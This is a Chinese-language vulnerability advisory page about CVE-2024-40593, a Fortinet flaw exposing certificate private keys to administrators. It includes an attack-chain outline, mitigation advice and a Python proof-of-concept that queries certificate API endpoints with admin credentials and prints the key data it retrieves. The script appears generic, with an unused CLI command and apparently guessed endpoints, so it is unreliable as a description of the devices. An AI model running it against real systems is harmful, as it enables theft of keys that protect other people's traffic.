IPBUF安全漏洞报告
English
CVE-2024-40593 CVSS 6.0 中危

CVE-2024-40593 Fortinet密钥管理错误漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2024-40593
漏洞类型
密钥管理错误
CVSS评分
6.0 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
FortiAnalyzer、FortiManager、FortiOS、FortiPortal

相关标签

密钥管理错误FortinetFortiAnalyzerFortiManagerFortiOSFortiPortal权限绕过证书私钥泄露本地攻击CVE-2024-40593

漏洞概述

CVE-2024-40593是Fortinet产品线中的一个密钥管理错误漏洞。该漏洞存在于FortiAnalyzer 7.4.0至7.4.2版本、7.2.0至7.2.5版本、7.0所有版本、6.4所有版本,以及FortiManager 7.4.0至7.4.2版本、7.2.0至7.2.5版本、7.0所有版本、6.4所有版本中。此外,FortiOS 7.6.0、7.4.4、7.2.7、7.0.14版本和FortiPortal 6.0所有版本也受到影响。攻击者需要具备管理员权限,通过设备的admin shell即可检索证书的私钥。该漏洞的CVSS评分为6.0,属于中等严重程度,主要影响系统的机密性(高影响),对完整性和可用性无影响。由于是本地攻击向量且需要高权限,攻击门槛相对较高,但一旦被利用,可能导致敏感加密密钥泄露,进而威胁到使用该证书保护的所有通信和数据安全。

技术细节

该漏洞属于密钥管理错误类别,具体表现为Fortinet设备在处理证书私钥时存在权限控制不当的问题。在FortiAnalyzer和FortiManager设备中,管理员通过admin shell访问时,本应受到严格权限控制的证书私钥检索操作未能正确实施访问限制。具备管理员权限的攻击者可以利用这一缺陷,通过特定的CLI命令或API调用,绕过正常的权限检查机制,直接获取存储在设备上的证书私钥。私钥的泄露意味着攻击者可以解密使用该证书加密的通信、伪造签名或进行中间人攻击。由于涉及多种Fortinet产品线,包括集中管理设备和防火墙操作系统,该漏洞的影响范围较为广泛,可能波及使用这些设备进行网络安全管理的企业和组织。

攻击链分析

STEP 1
步骤1
攻击者获取Fortinet设备的有效管理员凭证
STEP 2
步骤2
攻击者通过admin shell或API接口访问设备
STEP 3
步骤3
利用密钥管理错误漏洞,执行证书私钥检索操作
STEP 4
步骤4
成功获取证书私钥,绕过正常的权限控制机制
STEP 5
步骤5
使用泄露的私钥进行后续攻击,如解密通信、伪造签名或中间人攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-40593 PoC - Certificate Private Key Retrieval # Note: This PoC is for educational purposes only import requests import argparse from requests.auth import HTTPBasicAuth def exploit_cve_2024_40593(target_url, username, password): """ Exploit for CVE-2024-40593: Key Management Error in Fortinet Products Allows authenticated admin to retrieve certificate's private key """ print(f"[*] Targeting: {target_url}") print(f"[*] Authenticating as: {username}") # Authentication session = requests.Session() auth = HTTPBasicAuth(username, password) # Attempt to retrieve certificate private key via admin shell # This requires CLI access through the web interface or API # Method 1: Via CLI command cli_cmd = "execute certificate local list" # Method 2: Direct API access to certificate endpoint cert_endpoint = f"{target_url}/api/v2/monitor/system/certificate/local" try: # Check if we can access certificate information response = session.get(cert_endpoint, auth=auth, verify=False, timeout=30) if response.status_code == 200: cert_data = response.json() print("[+] Successfully retrieved certificate information") # Attempt to retrieve private key private_key_cmd = f"{target_url}/api/v2/monitor/system/certificate/local/detail" pk_response = session.get(private_key_cmd, auth=auth, verify=False, timeout=30) if pk_response.status_code == 200: print("[+] VULNERABLE: Private key accessible!") print(f"[+] Private Key Data: {pk_response.text[:500]}") return True elif response.status_code == 401: print("[-] Authentication failed") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2024-40593 PoC") parser.add_argument("-t", "--target", required=True, help="Target URL") parser.add_argument("-u", "--username", required=True, help="Admin username") parser.add_argument("-p", "--password", required=True, help="Admin password") args = parser.parse_args() exploit_cve_2024_40593(args.target, args.username, args.password)

影响范围

FortiAnalyzer 7.4.0 - 7.4.2
FortiAnalyzer 7.2.0 - 7.2.5
FortiAnalyzer 7.0 所有版本
FortiAnalyzer 6.4 所有版本
FortiManager 7.4.0 - 7.4.2
FortiManager 7.2.0 - 7.2.5
FortiManager 7.0 所有版本
FortiManager 6.4 所有版本
FortiOS 7.6.0
FortiOS 7.4.4
FortiOS 7.2.7
FortiOS 7.0.14
FortiPortal 6.0 所有版本

防御指南

临时缓解措施
在官方补丁发布之前,应严格限制管理员账户的访问权限,确保只有可信人员拥有admin shell访问权限。实施最小权限原则,避免将管理员权限分配给非必要用户。同时,应启用审计日志功能,监控所有证书相关操作的访问记录,及时发现异常行为。建议对关键证书实施定期轮换策略,以降低私钥泄露带来的风险。此外,可考虑在网络层面实施额外的访问控制,限制对管理接口的访问来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表